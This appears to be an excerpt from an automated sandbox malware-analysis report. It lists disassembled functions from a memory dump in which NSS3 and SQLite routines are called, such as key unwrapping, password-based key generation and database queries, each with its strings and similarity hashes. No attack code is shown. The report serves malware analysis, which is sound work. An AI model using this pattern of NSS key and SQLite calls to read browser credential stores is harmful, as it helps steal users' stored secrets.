GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C641CA1
GetLengthSid.ADVAPI32(?), ref: 6C641CA9
malloc.MOZGLUE(00000000), ref: 6C641CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C641CE4
GetLengthSid.ADVAPI32(?), ref: 6C641CEC
malloc.MOZGLUE(00000000), ref: 6C641CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641D0F
CloseHandle.KERNEL32(?), ref: 6C641D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C641D4D
GetLastError.KERNEL32 ref: 6C641D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C641D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C641D7A

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction ID: 889e7f4f19c6208b2f5eaa78cd9e621a07d26bf1b1fbae05392763aab7ae4b2a
Opcode Fuzzy Hash: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction Fuzzy Hash: F23153B1A01218AFEB11AF64DD48BAE7BF8FF49305F044075FA0992250EB315D94CF69

Function 6C643D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C643DFB
__allrem.LIBCMT ref: 6C643EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C643FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C644047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6440DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C64415F
__allrem.LIBCMT ref: 6C64416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C644288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6442AB
__allrem.LIBCMT ref: 6C6442B7

Strings

%02d, xrefs: 6C644086
%04d, xrefs: 6C64407B
%03d, xrefs: 6C6442E8
%lld, xrefs: 6C643FB2

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction ID: f59378010d208610e0fd5f0b141a5aedc8739e4045eb2c189fef57281f03b2e4
Opcode Fuzzy Hash: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction Fuzzy Hash: 09F11271A087409FD715CF38C882BABB7F6AF86348F14CA2DE48597A51EB70D845CB46

Function 6C64EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64EF63

Part of subcall function 6C6587D0: PORT_NewArena_Util.NSS3(00000800,6C64EF74,00000000), ref: 6C6587E8
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C64EF74,00000000), ref: 6C6587FD
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C64F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C64F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C64F374
PL_strcasecmp.NSS3(6C792FD4,?), ref: 6C64F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C64F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C64F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C64F67D
CERT_DestroyName.NSS3(?), ref: 6C64F68B

Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C658338
Part of subcall function 6C658320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C658364
Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C65838E
Part of subcall function 6C658320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6583A5
Part of subcall function 6C658320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6583E3

Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6584D9
Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C658528

Part of subcall function 6C658900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C658955

Strings

", xrefs: 6C64F21B
*, xrefs: 6C64F3C6
oid., xrefs: 6C64F2CF

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction ID: e18ea9ed9a6248c5d47b41839ea4c31155bce88e10ac59415f4bc707a349553f
Opcode Fuzzy Hash: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction Fuzzy Hash: E122167160C3418FD714DE68C4907ABB7E6ABC531CF18CA2EE49587B91E7319805CB9B

Function 6C5F1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5F1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C5F1FB7

Strings

unsupported file format, xrefs: 6C5F2188
abort due to ROLLBACK, xrefs: 6C5F2223
no more rows available, xrefs: 6C5F2264
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C5F1F83
unknown error, xrefs: 6C5F2291
table, xrefs: 6C5F1C8B
sqlite_temp_master, xrefs: 6C5F1C5C
sqlite_master, xrefs: 6C5F1C61
attached databases must use the same text encoding as main database, xrefs: 6C5F20CA
another row available, xrefs: 6C5F2287

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction ID: dc1ad510cc31742feb499a7abd4afdb76cee612a0da93e9c2a0ada6c17ea11f1
Opcode Fuzzy Hash: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction Fuzzy Hash: 3612D0B16083418FD708CF19C884A5ABBF2BF85318F19896DD9A58BB51D731EC46CF92

Function 6C615F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

NOCASE, xrefs: 6C618703
2, xrefs: 6C6165B4
-, xrefs: 6C6162F9
-, xrefs: 6C616228
BINARY, xrefs: 6C618708, 6C618737, 6C6187B8
u, xrefs: 6C6181DA
ON clause references tables to its right, xrefs: 6C616BEC
sub-select returns %d columns - expected %d, xrefs: 6C61805F

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction ID: 38c0cadda4c5b945b9cf3d4fe8c143e571acde7e5c9caab0efc9128707572667
Opcode Fuzzy Hash: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction Fuzzy Hash: 8D43517460C3418FD304CF2DC490A5AB7E2FF89319F15866DE8998BB52D731E846CB96

Function 6C6BEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C6BF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C78218C), ref: 6C6BF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C6BF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C6BF210

Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C6652F5
Part of subcall function 6C6652D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C66530F
Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C665326
Part of subcall function 6C6652D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C665340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF227

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C6BF23E

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C6BF3A8

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF3B3

Part of subcall function 6C662D20: PK11_DestroyObject.NSS3(?,?), ref: 6C662D3C
Part of subcall function 6C662D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C662D5F

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction ID: 80cf96fd84a0ed2bac78895a38815606644b0437fb28ebfd1a2cf66311502bd0
Opcode Fuzzy Hash: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction Fuzzy Hash: 9AD180B9E016059FDB10CF99D880A9EB7F5EF48308F148429D915B7721EB31E816CB99

Function 6C6EDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE33

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C6ED000: PORT_ZAlloc_Util.NSS3(00000108,?,6C6EDE74,6C6C7FFA,00000002,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002), ref: 6C6ED008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C6EDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE121
PK11_FreeSymKey.NSS3(?), ref: 6C6EE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C6EE195
PR_GetCurrentThread.NSS3 ref: 6C6EE1FC

Part of subcall function 6C6E2460: PR_SetError.NSS3(FFFFE005,00000000,6C787379,00000002,?), ref: 6C6E2493

Strings

handshake data, xrefs: 6C6EDFF7
early application data, xrefs: 6C6EDFC9
key, xrefs: 6C6EE046
application data, xrefs: 6C6EDFE0

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction ID: fd703863d4fb07b108205b5ff99832ef7ec28ef4d0d96e680d82ffdc432529d2
Opcode Fuzzy Hash: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction Fuzzy Hash: 5FC12571B0A2059BDB04CF65CC84BEAB7B4FF4D308F14413AE9099BA51E331E955CBA9

Function 6C5DECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C5DEF98

Strings

database corruption, xrefs: 6C5DF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DF483
%s at line %d of [%.10s], xrefs: 6C5DF492

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction ID: 1338e076873cfff932da32471582f82806b0588efc20b7d9c458b78af9907f59
Opcode Fuzzy Hash: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction Fuzzy Hash: F162F270A043458FDB04CF6CCC44B9ABBB1AF45318F1A469DD8465BB92D771F886CB98

Function 6C67FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C67FD06

Part of subcall function 6C67F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C67F696
Part of subcall function 6C67F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C67F789
Part of subcall function 6C67F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C67F796
Part of subcall function 6C67F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C67F79F
Part of subcall function 6C67F670: SECITEM_DupItem_Util.NSS3 ref: 6C67F7F0

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C67FDAD

Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91
Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
Part of subcall function 6C6AFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C67FE00

Part of subcall function 6C6AFD80: free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

Part of subcall function 6C69E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C69E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C67FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C67FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C67FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C680007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C680029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C680044

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: e416e8f7e6d3978edf8e2080055305d421bd8308bc42f14c313bcb8d6fb14b49
Instruction ID: b990af6b15b6ac1fd24d98cf0d0623487ffe832766da8b78b6047aafeebbd8ae
Opcode Fuzzy Hash: e416e8f7e6d3978edf8e2080055305d421bd8308bc42f14c313bcb8d6fb14b49
Instruction Fuzzy Hash: 20B1C571504301AFE314CF29C840E6AB7E5FF89308F158A2DE95987A41EB70E945CBA6

Function 6C677D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C677DDC

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C677DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C677F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C677F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C677F98
PK11_FreeSymKey.NSS3(?), ref: 6C677FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C677FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C678000

Part of subcall function 6C699430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C677F0C,?,00000000,00000000,00000000,?), ref: 6C69943B
Part of subcall function 6C699430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C69946B
Part of subcall function 6C699430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C699546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C678110
PK11_FreeSymKey.NSS3(00000000), ref: 6C67811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C67822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C67823C

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

